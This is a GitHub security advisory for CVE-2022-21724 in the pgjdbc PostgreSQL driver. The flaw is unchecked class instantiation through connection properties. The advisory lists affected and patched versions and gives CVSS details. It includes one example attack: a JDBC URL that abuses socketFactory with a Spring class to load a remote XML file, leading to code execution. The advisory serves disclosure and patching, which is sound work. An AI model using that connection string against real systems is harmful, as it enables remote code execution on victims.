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pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

High severity GitHub Reviewed Published Feb 1, 2022 in pgjdbc/pgjdbc • Updated Jan 31, 2023

Package

maven org.postgresql:postgresql (Maven)

Affected versions

>= 9.4.1208, < 42.2.25
>= 42.3.0, < 42.3.2

Patched versions

42.2.25
42.3.2

Description

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

References

@davecramer davecramer published to pgjdbc/pgjdbc Feb 1, 2022
Reviewed Feb 1, 2022
Published to the GitHub Advisory Database Feb 2, 2022
Published by the National Vulnerability Database Feb 2, 2022
Last updated Jan 31, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.949%
(83rd percentile)

Weaknesses

CVE ID

CVE-2022-21724

GHSA ID

GHSA-v7wg-cpwc-24m4

Source code

Credits

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